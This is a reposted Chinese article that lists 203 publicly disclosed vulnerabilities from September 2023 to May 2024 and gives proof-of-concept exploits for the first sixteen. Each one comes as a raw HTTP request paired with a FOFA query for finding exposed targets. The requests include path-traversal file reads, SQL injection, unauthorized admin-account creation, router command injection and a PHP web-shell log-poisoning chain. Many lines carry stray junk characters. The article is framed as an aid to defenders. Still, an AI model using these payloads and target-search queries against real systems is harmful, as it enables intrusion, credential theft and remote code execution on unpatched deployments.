互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
0 D' _* L3 i/ \% p9 k! Y/ R  q+ {道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

2 U, Y: d+ ?; R/ {& Q/ c发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
5 p  _1 V! I; i$ a8 x6 n
" g1 e2 z5 F# `) Q5 j/ G漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

5 M  P3 }9 v& L8 E: [$ j- c; C安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
" e0 G  I7 n0 ?7 E) Y0 ]
* j4 a9 R7 I; S4 E( g5 J9 F2 N合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
9 g. ?2 a7 i0 |/ E2 k
5 `' U- o$ j1 A4 B: c
. g* \: o' `+ a声明
" s1 o  Z+ `$ o
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
0 ?6 G. O6 e# G( y' w) r- c
; w* s2 s' T8 |8 V0 q6 B6 V有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


5 G* j$ `# N/ _( R. q2 `! e( ?- q
5 e) Y) X) z$ ?: L0 r% J8 S目录

- A- W  v( v' e8 r8 E01

0 D4 `' n* L; L6 ~; ]) Q1 z1. StarRocks MPP数据库未授权访问
" a1 E0 p* l% m& ~$ {: o2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
  c) D, o, _$ o) H& w4. EasyCVR视频管理平台存在任意用户添加
) }- F' ]+ \# w+ R1 X5. NUUO NVR 视频存储管理设备远程命令执行
$ j5 _. f* ~: k! p6 K% `$ h8 ^/ U6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
( p* g8 v# R( `  z. n9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- y9 h( e5 e, M  S1 j11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
$ T* P/ n7 I4 _7 a8 O; f# G12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
* {  y2 m4 P9 J1 D( u! t15. 华夏ERP getAllList信息泄露
  h3 E; B8 _; S$ S; L) w16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
* q: A) s+ Y, a& F2 i: d18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ k: ^6 u2 q3 J3 I' }5 H- R$ }20. 大华ICC智能物联综合管理平台任意文件读取
- f5 }9 v/ N; R$ l. s21. 大华ICC智能物联综合管理平台random远程代码执行
: N6 j7 E0 C+ O) f' ]6 ~, ?22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
! E+ {) p- F# a/ g7 F; o/ R% J: H26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
5 Z3 P+ p$ e0 P5 J' \29. 用友NC down/bill SQL注入
" z" H* B1 e' h( O30. 用友NC importPml SQL注入
, @9 j9 p, L. G/ Y31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
1 h: C* D. o+ X# m33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
4 s) T0 @, [9 y6 u# m% e" ]37. 用友NC-Cloud IUpdateService XXE
# y9 i1 g# ]' y38. 用友U8 Cloud smartweb2.RPC.d XXE
  f$ C( y( X9 X; n4 V7 j( `" ~# M39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
$ V7 y* K1 q. g, F: x41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, H0 Z' ?' W/ W# R" p7 X42. 用友GRP-U8 SmartUpload01 文件上传
, f3 t& k- d, K# P* K8 d! o$ U/ g% F43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
; V$ \  @! w* d5 a# L47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
) S- p$ I+ ?. H* [# X3 F: F: _49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& P9 _1 f8 G: U! S52. 泛微E-Office json_common.php sql注入
4 l) m! B; W: Y$ @53. 迪普 DPTech VPN Service 任意文件上传
- P3 E7 ?; S3 }3 A8 N3 n54. 畅捷通T+ getstorewarehousebystore 远程代码执行
& i; G& J5 H7 A. y' g55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
7 w7 s9 K2 k, b- e( D+ b58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
& }3 W2 i5 a' _( E/ h61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
* t: C# S! z9 M1 h) }63. IP-guard WebServer任意文件读取
2 F! L3 C2 y, P9 E. Z. H+ d1 X1 m* R# l64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
. y& I0 f! A5 b2 o- o2 o4 ~68. 万户ezOFFICE wf_printnum.jsp SQL注入
& e: W1 V, h) L( K- j( s: i69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
# {/ f7 |" y& M) G/ X5 X* ~74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
9 E9 O) l4 \" X  u" m, R! o76. 新开普掌上校园服务管理平台service.action远程命令执行
+ R0 m( k& c, r  O' C7 \77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
, _& e+ V' p" J+ @2 W. x79. BYTEVALUE 百为流控路由器远程命令执行
* b+ J4 S, q* z/ m9 L* B( B80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
! e' A9 ~+ Z* O$ d0 E& r0 _' O81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
; P- r& f& d; G9 \82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ j" {. Z3 e. _' L4 o, @# x83. JeecgBoot testConnection 远程命令执行
* F# h6 o( d. ?6 m4 g84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
+ B& ^: p: d$ \! y87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 V0 e8 @/ S, o8 d3 r. j92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
" m4 I% b3 g1 }' z( `+ V94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
. K7 w& F- O# B8 c+ n95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
7 u7 I9 ?& O' q* n96. Apache OFBiz  18.12.11 groovy 远程代码执行
" U; e# j+ V8 E" v97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
, E  D! Z1 P- T! X99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
0 @% \8 o' v8 y9 x104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
: V$ f0 e3 t) Q! f! C* l. O106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
( P. {9 x9 G8 |, ^* Z: D110. Goanywhere MFT 未授权创建管理员
7 c7 d1 O$ B% O) G& C111. WordPress Plugin HTML5 Video Player SQL注入
4 t, h/ ]7 ~/ }# X0 F8 a1 i5 U- D112. WordPress Plugin NotificationX SQL 注入
5 f, G2 ^8 |. M- k113. WordPress Automatic 插件任意文件下载和SSRF
. B+ W4 ?. K/ J& x8 T# T114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
* [& [& [. E5 z$ Y7 V# S/ Y118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
- q2 Q# O' W6 R2 j" s- ], }122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
9 d' R! V/ E$ I7 R, x3 f/ z127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
3 g. F) ^; \9 V131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
1 [3 Q% b- b, b- {. ^" F. m+ m# |133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
  n5 d& J1 C; h  P/ m3 ~135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: X. |# ]  z4 i. Z$ L+ X) U139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
& o1 {$ X, L! s$ C) v146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
8 o$ k" U/ Q' w$ [149. AJ-Report开源数据大屏存在远程命令执行
# p0 q# ]7 `) x/ w4 u150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
- z& K( T) m- `/ b  z) T9 C; ?3 T152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
# U+ ?6 k; P, k+ f155. 六零导航页 file.php 任意文件上传
! E# ~# P" Q0 J2 h3 l# b1 f156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ H/ R" N3 J% |2 P/ ]( Z- I157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
; k: t7 E; ~" r% m& b160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
" s  n% @0 d/ g162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
) c3 w  C, F# [4 W( R4 ~; {164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
$ e* {! J) T/ Q5 {4 i- V- P4 t166. 中成科信票务管理平台SeatMapHandler SQL注入
! i! ]  U$ b+ r+ o: I% m167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
5 B: g9 j6 H9 G7 I) i) k, W173. Check Point 安全网关任意文件读取
- |; _2 c9 g! @3 d174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 }/ T+ ], |/ {8 A& x8 G176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
& _! c* r8 G" u: u# V' x; s1 H2 n/ p178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
/ O% @/ w- |' D4 W9 t0 e1 v4 D181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
5 s& Q( S- K4 N( Q: P3 f/ H4 P182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
, D5 |4 |3 ~& s4 y" a! L. X184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
+ ?. x. X. b( N4 n187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
1 [: b" |+ ]- ]2 y7 `189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
% w* c- O8 I& n+ B3 {: W* \. D193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
% V7 n* d# k. H  b194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
/ F, `# H; L: K/ k# c196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
$ O0 ^  d* e" f" }202. 微擎系统 AccountEdit任意文件上传
5 K% Y$ w* u5 M' B203. 红海云EHR PtFjk 文件上传
2 l+ E/ T! }# X7 M  ?# d
) f3 {' x# y2 b& A1 a: Q* ]POC列表

02

1. StarRocks MPP数据库未授权访问
# y6 v: g; V& R0 S' ?4 AFOFA ：title="StarRocks"
4 n2 s% ~0 O- B0 jGET /mem_tracker HTTP/1.1
0 p& ?1 Q6 K' D* k9 EHost: URL

: m* J7 E. }, V( x% @
) P4 j% ^1 b9 t1 X% L4 H5 A4 V- v2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
; [2 e; |( j* J- y+ J' O& YHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ y$ V+ s6 ?7 \/ k; ?& |# K0 f: AConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

7 a* p- y. @1 ~4 c- H* E
5 D; U; M. }8 f, Z, U# ^3. EasyCVR智能边缘网关 userlist 信息泄漏
+ t- s9 T) I, t4 T4 e4 b: P% ]FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
* S1 a; o1 U3 I$ vHost: xx.xx.xx.xx
- W' S* T- `) W

4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
7 \1 |6 L% u0 a9 G8 R
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
! f; i5 |# Z- M" j  sHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

2 p7 N0 e% K8 _3 M2 @name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
: \5 X) b0 P1 e/ B7 g
& ]" j6 H$ F% u
. ]; R; `/ Y6 k# w9 a: _. l2 f% E5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
8 c0 n8 a  |4 |, gHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
, Z' P: Q7 e9 Z' NHost:


/ U1 \% K0 I) S7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
- Q7 N3 g) d9 |9 L  j" X* o% k
  p0 [5 v7 a( w
" o/ ~# t' [/ i" F6 \. r8. 斐讯 Phicomm 路由器RCE
9 r( C: {, Q9 V: {* nFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
& N5 K3 u6 l7 \: lCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
* q( {1 [; |# p  |# W* T- QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
( l' k' O$ J3 y9 n" Q  v
------WebKitFormBoundaryxbgjoytz
& Q( G" B7 D$ u# \2 v- d  E, DContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

3 h. R0 X0 F. a: x12:00; id;
2 l. ^9 X* l4 `- G. E4 ?  i. M% w------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
* I7 ?, h& g1 e+ p. J, a------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--
! a3 E, F  R- I

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
  O6 c; j% d5 [, oHost: x.x.x.x

) y3 H& t8 O. x2 y* b4 _1 I
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
$ f) J+ }/ E3 m$ d' X( h
. o$ Q5 p7 t3 c- w10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
  H) |( s% T- T. X9 n# GFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
; W  E" c3 p9 K  J4 A/ EPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
$ R: J  e" C3 w; `3 |$ vHost: x.x.x.x:xx
) [: ~  g3 F0 z( b( MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
" ]) l) Z; N+ E8 f' S% l, Y" ?5 ]; RContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" ~9 U! F/ }- }9 e' h' K" pAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ G6 T3 e$ A' }+ ^7 `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
4 v% ]  U. n, FContent-Type: text/html
! O! a+ G% D# C2 m
jmnqjfdsupxgfidopeixbgsxbf
3 a6 n7 O& a, B! V6 B+ z------WebKitFormBoundaryxdgaqmqu--
( A! ~9 S/ \/ v) q% ?+ i
; Y6 M4 }# l# ?' \4 ~( n' V, l2 r1 s
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
1 E5 i3 m; Z8 E! `9 e( D3 f; RFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
1 d! M# |7 l- Y& M- U; lGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
( e4 U& V( ~7 g: y' a% QHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
* d* ^' P, k8 i' n' @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' d% S% y( g9 z3 d$ q/ ?5 Q; U6 q* C8 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  ^2 W% M! O" S0 gAccept-Encoding: gzip, deflate
5 t- F9 [$ y, {3 SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
3 w( l- {- I, l" n

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
- E! {1 S! X4 }1 YUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
7 R6 F7 D: x; C4 I5 a# G- Z3 UAccept-Encoding: gzip


& I- k" e1 H0 j7 H" H8 u响应中csrf_cookie_jorani用于后续请求
. q' R( J6 p/ l; K( i% L$ SHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
& |: z9 Z0 t5 p4 p& J: c  Z, QExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
' g9 h% O5 R  t; aSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
7 B1 c$ i- U! r, }5 v* g& }Vary: Accept-Encoding
/ I! l$ E# H' T2 g4 ]! y

" ?2 P: v5 F9 B6 l7 g. \POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
3 K7 L% T6 S+ ]/ ]* y: Y9 `/ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% e# H6 k% P% \, k& v7 fConnection: close
Content-Length: 252
' s5 |5 U) y! G2 HContent-Type: application/x-www-form-urlencoded
0 K1 a1 _3 C0 uCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
% E1 E. ^$ A, W$ M3 n- ]
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
! Q5 {" i! m& k) K' E) z4 I
; Z& t1 S$ N  D: d* s

; B4 V  k& H/ _$ X  K8 G) X: T向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
6 l$ Q9 ^% p$ GGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! T& y. u- p: H$ Z- E. f0 u; cConnection: close
, d, v9 J( c1 i! Y9 N+ ECookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
7 ^% G  K9 g  e( v( g( A' a% W3 OK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


9 d3 v4 E, Q/ ^0 G' F/ n+ ]1 n) Z6 N13. 红帆iOffice ioFileDown任意文件读取
; n: i- f, h7 H5 FFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
/ U# U) f' s) B3 g  b' i. bAccept-Encoding: gzip

. }  f6 z! u2 q. x$ z
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
2 T  y  t8 `+ u7 J$ G7 ?! UGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
) F" p, ?+ U8 N0 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
: I3 o6 y" n& `4 G4 qConnection: close
% e( h4 Y) g2 l, D1 t; EAccept: */*
' K. b; |! r' a8 |3 mAccept-Language: en
% Q  u) t, W' xAccept-Encoding: gzip

1 M1 J) O' T. P0 V
, Z5 Y- d6 r. r9 W15. 华夏ERP getAllList信息泄露
1 J/ J8 B8 U: D/ S2 a8 ~0 BCVE-2024-0490
- Q' a9 V" e  H+ D6 dFOFA：body="jshERP-boot"
泄露内容包括用户名密码
3 Z, j! ]  D8 i0 y4 k6 y# `* K. PGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
+ L0 D6 r  t7 d3 IHost: 192.168.40.130:100
( `  L3 }. C8 v9 \5 D+ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
6 F: @8 X8 F' ~  t# r5 Vsec-ch-ua-platform: Windows
Accept-Encoding: gzip
$ Q5 ~7 d1 Q" x* i

16.  红帆HFOffice医微云SQL注入
3 u  ~  z9 ?& S% i7 v0 ]7 ZFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
% h; z2 p6 i7 B% ]7 ~; fGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
, |& @. V; u/ R, y9 \/ PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
! E$ B' x0 |* ZConnection: close
- y! L5 n% M' [9 U# A6 jAccept: */*
Accept-Language: en
7 ]# O& |4 J2 V1 K& rAccept-Encoding: gzip

3 i: b+ s1 w5 H: Z0 z2 Y
